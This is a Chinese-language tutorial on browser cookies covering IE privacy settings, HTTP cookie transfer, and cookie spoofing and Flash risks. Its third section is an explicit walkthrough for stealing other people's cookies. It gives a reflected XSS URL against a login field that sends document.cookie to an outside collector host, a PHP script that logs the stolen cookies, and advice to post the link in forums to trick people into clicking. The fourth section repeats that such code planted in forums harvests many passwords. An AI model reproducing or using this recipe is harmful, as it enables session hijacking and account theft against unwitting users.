cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好xx,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了cookie。想全面了解cookie吗?看看下文吧!
一.了解cookie 适用对象:初级读者
cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户id,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入id、密码就直接登录等等。你可以在ie的“工具/internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用netscape浏览器,则存放在“c:\programfiles\netscape\users\”里面,与ie不同的是,netscape是使用一个cookie 文件记录所有网站的cookies。
为了保证上网安全我们需要对cookie进行适当设置。打开“工具/internet选项”中的“隐私”选项卡(注意该设置只在ie6.0中存在,其他版本ie可以在“工具/internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有cookies”。如果只是为了禁止个别网站的cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方cookie和第三方的cookie进行设置,第一方cookie是你正在浏览的网站的cookie,第三方cookie非正在浏览的网站发给你的cookie,通常要对第三方cookie选择“拒绝”,如图1。你如果需要保存cookie,可以使用ie的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。
cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的cgi处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用cookie pal软件查看到的cookie信息,如图2所示。它为我们提供了server、expires、name、value等选项的内容。其中,server是存储cookie的网站,expires记录了cookie的时间和生命期,name和value字段则是具体的数据(本报第10期第42版对该软件有详细介绍)。
下载地址:http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe。
二、cookie的传递流程 适用对象:中级读者
当在浏览器地址栏中键入了一个web站点的url,浏览器会向该web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找amazon网站设置的cookie文件,如果找到,浏览器会把cookie文件中的数据连同前面输入的url一同发送到amazon服务器。服务器收到cookie数据,就会在他的数据库中检索你的id,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和cookie文件中去。如果没有检测到cookie或者你的cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的cgi程序将为你创建新的id信息,并保存到数据库中。
cookie是利用了网页代码中的http头信息进行传递的,浏览器的每一次网页请求,都可以伴随cookie传递,例如,浏览器的打开或刷新网页操作。服务器将cookie添加到网页的http头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的cookie设置选择是否保存这些数据。如果浏览器不允许cookie保存,则关掉浏览器后,这些数据就消失。cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。cookie有一个expires(有效期)属性,这个属性决定了cookie的保存时间,服务器可以通过设定expires字段的数值,来改变cookie的保存时间。如果不设置该属性,那么cookie只在浏览网页期间有效,关闭浏览器,这些cookie自动消失,绝大多数网站属于这种情况。通常情况下,cookie包含server、expires、name、value这几个字段,其中对服务器有用的只是name和value字段,expires等字段的内容仅仅是为了告诉浏览器如何处理这些cookies。
三、cookie的编程实现 适用对象:高级读者
多数网页编程语言都提供了对cookie的支持。如javascript、vbscript、delphi、asp、sql、php、c#等。在这些面向对象的编程语言中,对cookie的编程利用基本上是相似的,大体过程为:先创建一个cookie对象(object),然后利用控制函数对cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户cookie中的敏感信息?下面进行简单的介绍。
该方法主要有两步,首先要定位你需要收集cookie的网站,并对其进行分析,并构造url;然后编制收集cookie的php代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的url后可以执行该php代码。下面我们看具体的实现过程。
1.分析并构造url
首先打开我们要收集cookie的网站,这里假设是http://www.xxx.net,登陆网站输入用户名“<a1>”(不含引号),对数据进行分析抓包,得到形如“http://www.xxx.net/txl/login/login.pl?username=<a1>&passwd=&ok.x=28&ok.y=6”的代码,将“<a1>”更换为“<script>alert(document.cookie)</script>”再试;如果执行成功,就开始构造url:“http://www.xxx.net/txl/login/login.pl?username=<script>window.open(“http://www.cbifamily.org/cbi.php?”%2bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2b”为符号“+”的url编码,因为“+”将被作为空格处理。该url就可以在论坛中发布,诱使别人点击了。
2.编制php脚本
该脚本的作用就是收集cookie文件,具体内容如下:
<?php
$info = getenv(“query_string”);
if ($info) {
$fp = fopen(“info.txt”,”a”);
fwrite($fp,$info.”\n”);
fclose($fp);
}
header(“location: http://www.knowsky.com”);
?>
四、cookie的安全问题 适用对象:所有希望上网安全的读者
1.cookie欺骗
cookie记录着用户的帐户id、密码之类的信息,如果在网上传递,通常使用的是md5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获cookie的人不需要知道这些字符串的含义,他们只要把别人的cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做cookie欺骗。cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人cookie是很容易的,用支持cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的cookie都能够被收集。如果一个论坛允许html代码或者允许使用flash标签就可以利用这些技术收集cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用ie自动保存密码的功能,以及尽量不登陆不了解底细的网站。
2.flash的代码隐患
flash中有一个geturl()函数,flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于flash的这种行为,网站是无法禁止的,因为这是flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在internet上欣赏,最好找一些知名的大网站。